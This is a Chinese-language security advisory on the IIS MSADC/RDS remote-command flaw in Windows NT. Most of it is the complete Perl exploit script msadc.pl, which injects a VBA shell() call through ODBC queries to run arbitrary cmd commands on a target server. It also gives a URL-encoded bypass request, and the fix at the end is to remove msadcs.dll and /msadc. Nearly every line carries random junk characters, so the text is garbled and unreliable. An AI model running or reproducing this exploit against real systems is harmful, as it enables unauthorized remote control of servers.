IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
aJlSIw*Q, [$_d|Z 涉及程序：
">]v'h(s Microsoft NT server
V`$J an J&w%lYiu5 描述：
K^bzZa+a 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
jy`jxOoG~Z F|q-ZlpW- 详细：
r-
0BLq]~{ 如果你没有时间读详细内容的话，就删除:
i|PQNhUe c:\Program Files\Common Files\System\Msadc\msadcs.dll
AK\X{>$a! 有关的安全问题就没有了。
jZu"> Eh, YHN @?}T() 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
= R|?LOEK+ )=TD} Xb 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
/NCEZ@2BN, 关于利用ODBC远程漏洞的描述，请参看:
j?D=Ij "o [$)C(1zY http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [@Y<:6 v]|^.x: 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
9E^IEwq ' http://www.microsoft.com/security/bulletins/MS99-025faq.asp `f`\j
-Lu `An`"$z 这里不再论述。
8FyJo.vr( E\Hhi.- 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
{"l_x]q Z.+-MN WV /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ZzPlIl}\ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
9\RSJGx6 X96>N{C*> kD:O$8[J8 #将下面这段保存为txt文件，然后: "perl -x 文件名"
6r/NdI aObWd5~ #!perl
]Y Q[ ) #
>=-w2& # MSADC/RDS 'usage' (aka exploit) script
vwDnz /- #
VH7VJ [ # by rain.forest.puppy
@ROMHMd} #
iLw O4i # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
wvsKn YKX # beta test and find errors!
Ub=g<MYHV kF md):U!R use Socket; use Getopt::Std;
%7 h _D getopts("e:vd:h:XR", \%args);
<CIJ g* mw)KyU#l,: print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
F2!C^r,~L !K^.r_0H. if (!defined $args{h} && !defined $args{R}) {
IBWUXG; print qq~
s 7re Usage: msadc.pl -h <host> { -d <delay> -X -v }
_2+}_ >d -h <host> = host you want to scan (ip or domain)
|r5 n p -d <seconds> = delay between calls, default 1 second
q
y73 -X = dump Index Server path table, if available
I*_@WoI* -v = verbose
^l|{*oj2 -e = external dictionary file for step 5
6KPM4#61o ;$Q `JN= Or a -R will resume a command session
bI.LE/yk K5gh7 ~; exit;}
^T`)ltI]V X[b= 25Ct $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
1 zIFQ@ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
VAf"B5 R if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
? }"$[6. if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
YL \d2 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
W]MKc&R if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
f.acH]p KB49~7XjQ@ if (!defined $args{R}){ $ret = &has_msadc;
OcQ>01Q die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
f<WP< !N% aP^,@RrL print "Please type the NT commandline you want to run (cmd /c assumed):\n"
i:W.,w% 8 . "cmd /c ";
[2I 1W1pd $in=<STDIN>; chomp $in;
Xh"JyDTj3 $command="cmd /c " . $in ;
NfizX!w& )*@n G$i99 if (defined $args{R}) {&load; exit;}
3wK{? }}y$T(:l print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
>aXyi3B &try_btcustmr;
p\OUx Am h<2o5c| print "\nStep 2: Trying to make our own DSN...";
x`K<z
J &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
"&*O7cs$pA SskvxH+7 print "\nStep 3: Trying known DSNs...";
f*KNt_|: &known_dsn;
-(9>{!",J %D _2; print "\nStep 4: Trying known .mdbs...";
m UY+v>F &known_mdb;
`s93P^% ]V*s-och' if (defined $args{e}){
:U_k*9z}= print "\nStep 5: Trying dictionary of DSN names...";
3Ob"R%Yo &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
N>##} i 9 }^nozR,I print "Sorry Charley...maybe next time?\n";
y}5V 3)P exit;
|}s)W o eMyh&@7(F ##############################################################################
.lnyn|MVb S]&f+g}&w sub sendraw { # ripped and modded from whisker
sy`@q<h( sleep($delay); # it's a DoS on the server! At least on mine...
$sK8l=# my ($pstr)=@_;
5v6 x socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
t E3#Uq die("Socket problems\n");
^`>,~$Q if(connect(S,pack "SnA4x8",2,80,$target)){
/f_w@TR\{ select(S); $|=1;
3lzjY.]Pgv print $pstr; my @in=<S>;
CY~]lQ select(STDOUT); close(S);
xl [3* K return @in;
D/QSC]" } else { die("Can't connect...\n"); }}
>d-By ("0 7t/|| ##############################################################################
R6l`IlG` A;ip
V :) sub make_header { # make the HTTP request
ZDEz&{3U; my $msadc=<<EOT
2F9Gx;}t5= POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
~+w'b7T,= User-Agent: ACTIVEDATA
kt?G\H!} Host: $ip
y%%D =" Content-Length: $clen
{FRUB(68b Connection: Keep-Alive
)D'SfNx#{ ^o&3 +s} M ADCClientVersion:01.06
G J"S*30 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
q6DuLFatc* &Omo\Oq&W> --!ADM!ROX!YOUR!WORLD!
V4I5PPz~ Content-Type: application/x-varg
02B *cz_K Content-Length: $reqlen
D2N| A vN#?>aL EOT
0#1hk J" ; $msadc=~s/\n/\r\n/g;
M )4-eo return $msadc;}
Fy:CG6@X |a9d]^ ##############################################################################
QOXG:?v\ q?}
/q sub make_req { # make the RDS request
y4sKe:@2 my ($switch, $p1, $p2)=@_;
'}#=I 9=ss my $req=""; my $t1, $t2, $query, $dsn;
UrtA]pc3L \fC)]QZ if ($switch==1){ # this is the btcustmr.mdb query
ptJ58U$Bb
$query="Select * from Customers where City=" . make_shell();
sa 8JN.B $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
+tO mKY $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
j9Qd
45 ` pr$l elsif ($switch==2){ # this is general make table query
7 #/ ->Y $query="create table AZZ (B int, C varchar(10))";
a#3+PB # $dsn="$p1";}
#r5IwyL (gW#T\Eln elsif ($switch==3){ # this is general exploit table query
wW2b?b{*Z $query="select * from AZZ where C=" . make_shell();
"&h{+DHS $dsn="$p1";}
co !o+jP s<3 cvF< elsif ($switch==4){ # attempt to hork file info from index server
Hq<Sg 4nz $query="select path from scope()";
SURbH;[ $dsn="Provider=MSIDXS;";}
9* s'' = dH]0 (a J elsif ($switch==5){ # bad query
Z;M}.'BE $query="select";
Fu q MT` $dsn="$p1";}
{qxFRi#\k WX.6 | $t1= make_unicode($query);
>]b>gc? 3 $t2= make_unicode($dsn);
s VXIR $req = "\x02\x00\x03\x00";
9*fA:*T $req.= "\x08\x00" . pack ("S1", length($t1));
q!UN<+k\h $req.= "\x00\x00" . $t1 ;
0,a/t
jSr $req.= "\x08\x00" . pack ("S1", length($t2));
25EuVj`zL $req.= "\x00\x00" . $t2 ;
W5 l)mAv $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
}
@r|o:I return $req;}
nV`n=x DX3 xWdnr ##############################################################################
Xn:5pd;?B6 Q\H1=8 sub make_shell { # this makes the shell() statement
'7BJ . return "'|shell(\"$command\")|'";}
/hrVnk i* *[XVkt`H ##############################################################################
_#f+@)vR `)i'1E [9 sub make_unicode { # quick little function to convert to unicode
cf\PG&S my ($in)=@_; my $out;
L tk'` for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
{B;< R1 return $out;}
tj ONN(K` 3K)12x$.K ##############################################################################
(29h{= P' qH 1k sub rdo_success { # checks for RDO return success (this is kludge)
a4a/]q4T my (@in) = @_; my $base=content_start(@in);
< ]: X if($in[$base]=~/multipart\/mixed/){
%w9/ gD return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Z"ce1cB return 0;}
k [_)5@2 vI84= n ##############################################################################
W~" 'a9H/ gteG*p i sub make_dsn { # this makes a DSN for us
ajr);xd my @drives=("c","d","e","f");
_ ^ Jhn cL print "\nMaking DSN: ";
!V%h0OE\ foreach $drive (@drives) {
whH_<@! print "$drive: ";
wl^7.IR my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
m!'moumL; "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
.~3s~y*s . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
[nSlkl
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
mZ%"""X\Ei return 0 if $2 eq "404"; # not found/doesn't exist
f{i~hVF if($2 eq "200") {
2Ra} &ie foreach $line (@results) {
R=7,F6. return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
nky%Eb[\ } return 0;}
Re[x$rw So6ZNh9 ##############################################################################
b\Wlpb=QZ j<* sub verify_exists {
;FQ<4 PR$ my ($page)=@_;
k 4HE'WY my @results=sendraw("GET $page HTTP/1.0\n\n");
MC'2;, return $results[0];}
ejF GeR NE~R&ym9 ##############################################################################
E \p Qh Xl/ SDm_p sub try_btcustmr {
ro fGD9f
my @drives=("c","d","e","f");
$Gy& my @dirs=("winnt","winnt35","winnt351","win","windows");
kzkrvC+u lwVo%- foreach $dir (@dirs) {
U{`Q_Uw@$: print "$dir -> "; # fun status so you can see progress
7%MD0qm- foreach $drive (@drives) {
e7O9q8b print "$drive: "; # ditto
uT
Z#85L ` $reqlen=length( make_req(1,$drive,$dir) ) - 28;
_VjfjA<c8 $reqlenlen=length( "$reqlen" );
]J '#KT{ $clen= 206 + $reqlenlen + $reqlen;
T'W@fif W5)R{w0`GD my @results=sendraw(make_header() . make_req(1,$drive,$dir));
r
9~Wh
$ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
o[A y2"e? else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
{M_*hR;lL s^& Oh*SP* ##############################################################################
=/ #+, _N @ h sub odbc_error {
;q"Yz-3 my (@in)=@_; my $base;
~[N"Q|D3Y my $base = content_start(@in);
)qID<j# if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$>M-oNeC $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
hx.ln6=4 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`GpOS_; $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
On`T
pz/ return $in[$base+4].$in[$base+5].$in[$base+6];}
1(YEOZ
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
hvFXYq_[O print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
?' 8(']/ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
JmP[ 9" 7u =R 5 ##############################################################################
fO UW{s &^7^7: Y=? sub verbose {
Yk^clCB{A( my ($in)=@_;
prdc}~J8{ return if !$verbose;
RV_(T+ print STDOUT "\n$in\n";}
%U
uV D _\ & N< ##############################################################################
f,
i H M ahUc ;S:v# sub save {
v'e5 j``= my ($p1, $p2, $p3, $p4)=@_;
2=%R>&]* open(OUT, ">rds.save") || print "Problem saving parameters...\n";
{CaTu5\ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
ZzO^IZKlC close OUT;}
(DnrJ.QU}t VpO+52& ##############################################################################
! N !A% j3Yz=bsQ{c sub load {
O{{\jn|lR my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
b%TLvV 9F open(IN,"<rds.save") || die("Couldn't open rds.save\n");
svWQk9d @p=<IN>; close(IN);
\UEO$~Km $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
\i.Yhl:O $target= inet_aton($ip) || die("inet_aton problems");
HZl//Uq print "Resuming to $ip ...";
-Pt']07E $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
= }!4%.$ if($p[1]==1) {
IQ] tcSQl $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
3;'R F#VL $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
DGJt$o=&@ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
# *tWhXU if (rdo_success(@results)){print "Success!\n";}
{aoG60N else { print "failed\n"; verbose(odbc_error(@results));}}
L5RBe elsif ($p[1]==3){
#wS/QrRE if(run_query("$p[3]")){
u Lq%Nu print "Success!\n";} else { print "failed\n"; }}
S2\|bs7;J, elsif ($p[1]==4){
&_o.:SL| if(run_query($drvst . "$p[3]")){
[dIlt"2fV print "Success!\n"; } else { print "failed\n"; }}
*RllKP Y) exit;}
GE!fh1[[u q(s &2| ##############################################################################
v*lj>)L aWk1D. sub create_table {
>"|"Gy ( my ($in)=@_;
^ fqco9^; $reqlen=length( make_req(2,$in,"") ) - 28;
_qp^ + $reqlenlen=length( "$reqlen" );
VS DG_:!K $clen= 206 + $reqlenlen + $reqlen;
+ d 289" my @results=sendraw(make_header() . make_req(2,$in,""));
,&ld:v?~ return 1 if rdo_success(@results);
gNaB^I Y my $temp= odbc_error(@results); verbose($temp);
8r\;8al l return 1 if $temp=~/Table 'AZZ' already exists/;
Y7GHIzX return 0;}
7H$wpn
Zln 9k *1_ ##############################################################################
cK e{ ]a ZD#{h J- sub known_dsn {
QT)5-Jy # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
1=Y pNXX my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Z[%vO?, "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
wqE+hKs, "banner", "banners", "ads", "ADCDemo", "ADCTest");
_!C M ; hZ^zL foreach $dSn (@dsns) {
x*a^msY% print ".";
) 2&y;{] next if (!is_access("DSN=$dSn"));
64 83v' if(create_table("DSN=$dSn")){
~&%&Z print "$dSn successful\n";
)Rj,PF-9Z[ if(run_query("DSN=$dSn")){
O
<#H5/Tq print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
j1i<.,0g print "Something's borked. Use verbose next time\n";}}} print "\n";}
&Ndq ^!e d3&l!DoX ##############################################################################
~fz9Ah U8 ^b& U0k$R sub is_access {
%$ ^ eY'-' my ($in)=@_;
}pOJ M &I $reqlen=length( make_req(5,$in,"") ) - 28;
<c_'(
$reqlenlen=length( "$reqlen" );
SUaXm#9 $clen= 206 + $reqlenlen + $reqlen;
A[8vD</}_ my @results=sendraw(make_header() . make_req(5,$in,""));
c 0.? d] my $temp= odbc_error(@results);
!McRtxq?~ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Scz/2vNi` return 0;}
Z_WJgH2c XM:Y(#?l ##############################################################################
?5Q_G1H& Br}0dha3E sub run_query {
u8N"i), my ($in)=@_;
.]y"04@] $reqlen=length( make_req(3,$in,"") ) - 28;
)o N#%%SB< $reqlenlen=length( "$reqlen" );
u0i;vO)MNt $clen= 206 + $reqlenlen + $reqlen;
w<$0n#5 my @results=sendraw(make_header() . make_req(3,$in,""));
v?<Tkw ^F return 1 if rdo_success(@results);
M zpDvnI9 my $temp= odbc_error(@results); verbose($temp);
*<#$B}!{ return 0;}
IRY/0v qt,;Yxx#^ ##############################################################################
p`T,VU&. "Cn<x\ E b sub known_mdb {
o`%;*tx my @drives=("c","d","e","f","g");
up
)JU [ my @dirs=("winnt","winnt35","winnt351","win","windows");
7&Qf))L my $dir, $drive, $mdb;
#4wia% }u my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
r NT>{
a8v9j 3 . # this is sparse, because I don't know of many
Wo, "$Z6B my @sysmdbs=( "\\catroot\\icatalog.mdb",
K;P<c,9X/ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
;pVnBi
"\\system32\\certmdb.mdb",
-XMWN$Ah "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
^w+)A;?W . y N. my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
4u+4LB* "\\cfusion\\cfapps\\forums\\forums_.mdb",
6[S-%|f "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
i564<1`x "\\cfusion\\cfapps\\security\\realm_.mdb",
h:~
8WV| "\\cfusion\\cfapps\\security\\data\\realm.mdb",
*jrQ-'<T "\\cfusion\\database\\cfexamples.mdb",
+GFK!Pf "\\cfusion\\database\\cfsnippets.mdb",
3.@ I\p} "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
:Lh`Q"a "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
]~t4E'y)z "\\cfusion\\brighttiger\\database\\cleam.mdb",
nf )y_5 y "\\cfusion\\database\\smpolicy.mdb",
p$!Q?&AV/ "\\cfusion\\database\cypress.mdb",
P> [,,w "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
c^ W \0 "\\website\\cgi-win\\dbsample.mdb",
6sz:rv} "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
x/,(G~ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Qm5Sf=E7Q ); #these are just
zTb,h foreach $drive (@drives) {
Q zq3{%^x_ foreach $dir (@dirs){
bd[% =5 foreach $mdb (@sysmdbs) {
uj ^l &" print ".";
df@G+v0_1 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
atYe$Db print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
zOsk'ZE& if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
j=y{ey7Fd print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
] ^BgSC } else { print "Something's borked. Use verbose next time\n"; }}}}}
jPA^SxM U^ Ul j/%6 foreach $drive (@drives) {
`2PvE4]%p foreach $mdb (@mdbs) {
M#o'h c print ".";
:~4 M9 if(create_table($drv . $drive . $dir . $mdb)){
.xV^%e?H print "\n" . $drive . $dir . $mdb . " successful\n";
3.E3}Jz` if(run_query($drv . $drive . $dir . $mdb)){
2Wp)CI<\D print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
vq-# %o } else { print "Something's borked. Use verbose next time\n"; }}}}
CCp&+LRvR }
ql2O%B.6? *Fu;sR2y%: ##############################################################################
la{Iqm{i GPLq$^AH sub hork_idx {
>A
?{cbJ print "\nAttempting to dump Index Server tables...\n";
&N:`Rler print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
NhF<2[mt $reqlen=length( make_req(4,"","") ) - 28;
.V .ga2+ $reqlenlen=length( "$reqlen" );
M\6u4p!G! $clen= 206 + $reqlenlen + $reqlen;
- EIfuh my @results=sendraw2(make_header() . make_req(4,"",""));
a 1 .+L if (rdo_success(@results)){
LR Dj!{k{ my $max=@results; my $c; my %d;
'
i<}/l for($c=19; $c<$max; $c++){
q Jq!0F $results[$c]=~s/\x00//g;
<EM'|IR? $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
2{I+H'w8: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
ix!4s613w $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Z[G: $d{"$1$2"}="";}
(M nK
\^Y foreach $c (keys %d){ print "$c\n"; }
qfa[KD)!aB } else {print "Index server doesn't seem to be installed.\n"; }}
o7 1f<&1 HsRQiai* ##############################################################################
&09g0K66 !lk9U^wnd sub dsn_dict {
,*j@Zb_r open(IN, "<$args{e}") || die("Can't open external dictionary\n");
LAO2Py# while(<IN>){
GjeRp|_Qd< $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
VK3e(7 b next if (!is_access("DSN=$dSn"));
Yu_`
>s o if(create_table("DSN=$dSn")){
rO7[{<97m print "$dSn successful\n";
i8i~b8r] if(run_query("DSN=$dSn")){
8G?OZ47k# print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
xn,I<dL39 print "Something's borked. Use verbose next time\n";}}}
jrZH1 dvE print "\n"; close(IN);}
+hUz/G+3 2'5 u}G9 ##############################################################################
A`ScAzx5{ uG{/yJeU sub sendraw2 { # ripped and modded from whisker
HrH!
'bd sleep($delay); # it's a DoS on the server! At least on mine...
#xfPobQ>il my ($pstr)=@_;
&l
_NCo2 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&.)ST0b4 die("Socket problems\n");
z%~rQa./$ if(connect(S,pack "SnA4x8",2,80,$target)){
^_!2-QY.~ print "Connected. Getting data";
H-5h-p k open(OUT,">raw.out"); my @in;
F |^tRL- select(S); $|=1; print $pstr;
#S') i1 ; while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
U2kl-E: close(OUT); select(STDOUT); close(S); return @in;
-c L wjI } else { die("Can't connect...\n"); }}
[28Vf"#] {D7v[P+ ##############################################################################
,pR.HCR#Y QrRnXlE M8 sub content_start { # this will take in the server headers
@lTd,V5f my (@in)=@_; my $c;
j V~+=(w) for ($c=1;$c<500;$c++) {
bm#/ KT_8 if($in[$c] =~/^\x0d\x0a/){
Y rmd
hSY if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
PIZK*L op else { return $c+1; }}}
KAR **M p+ return -1;} # it should never get here actually
#s3R4@{ ;QqC c !b ##############################################################################
akV-|v_ JHCXUT-r{ sub funky {
dz=pL$C my (@in)=@_; my $error=odbc_error(@in);
meArS*d if($error=~/ADO could not find the specified provider/){
;Wedj\Kkp print "\nServer returned an ADO miscofiguration message\nAborting.\n";
]/c!;z exit;}
S9lT4 if($error=~/A Handler is required/){
NZ:KJ8ea" print "\nServer has custom handler filters (they most likely are patched)\n";
iNv"!'| exit;}
zx`(ojfu if($error=~/specified Handler has denied Access/){
WIYWql>* print "\nServer has custom handler filters (they most likely are patched)\n";
dj5@9X exit;}}
Twq, 6X- `!l Qd}W ##############################################################################
'A)9h7k} ]y ~"M sub has_msadc {
H.#zbKj my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
:XCRKRDLE my $base=content_start(@results);
eh}I?:(a? return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
cs7K^D;.V return 0;}
d0 }P ak$D1#hY ########################
/5"RedP< NXSjN~aG2 "T1A$DKw+R 解决方案：
p}(pIoyUF 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
'QQa :3<x 2、移除web 目录: /msadc
